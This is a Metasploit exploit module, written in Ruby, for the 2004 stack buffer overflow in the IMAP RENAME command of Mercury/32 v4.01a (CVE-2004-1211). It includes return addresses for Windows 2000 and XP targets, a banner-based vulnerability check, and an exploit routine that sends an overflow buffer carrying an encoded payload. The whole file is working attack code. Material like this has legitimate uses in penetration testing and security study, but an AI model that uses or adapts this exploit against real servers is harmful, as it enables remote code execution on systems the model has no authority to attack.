require 'msf/core' module Msf class Exploits::Windows::Imap::MercuryIMAPRenameOverflow < Msf::Exploit::Remote include Exploit::Remote::Imap def initialize(info = {}) super(update_info(info, 'Name' => 'Mercury/32 v4.01a IMAP RENAME Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow vulnerability in the Mercury/32 v.4.01a IMAP service. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2004-1211'], [ 'BID', '11775'], [ 'NSS', '15867'], [ 'MIL', '98'], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 500, 'BadChars' => "\x00\x0a\x0d\x20", 'Prepend' => "\x81\xec\x96\x40\x00\x00\x66\x81\xe4\xf0\xff", }, 'Platform' => 'win', 'Targets' => [ ['Windows 2000 SP4 English', { 'Ret' => 0x7c2f8498 }], ['Windows 2000 SP4 English', { 'Ret' => 0x7846107b }], ['Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0 }], ['Windows XP Pro SP1 English', { 'Ret' => 0x77e53877 }], ], 'DisclosureDate' => 'Nov 29 2004')) end def check connect disconnect if (banner and banner =~ /Mercury\/32 v4\.01a/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect_login buf = Pex::Text.rand_text_alpha_upper(260, payload_badchars) req = "a001 RENAME " + buf + [target.ret].pack('V') + payload.encoded + "\r\n" sock.put(req) handler disconnect end end end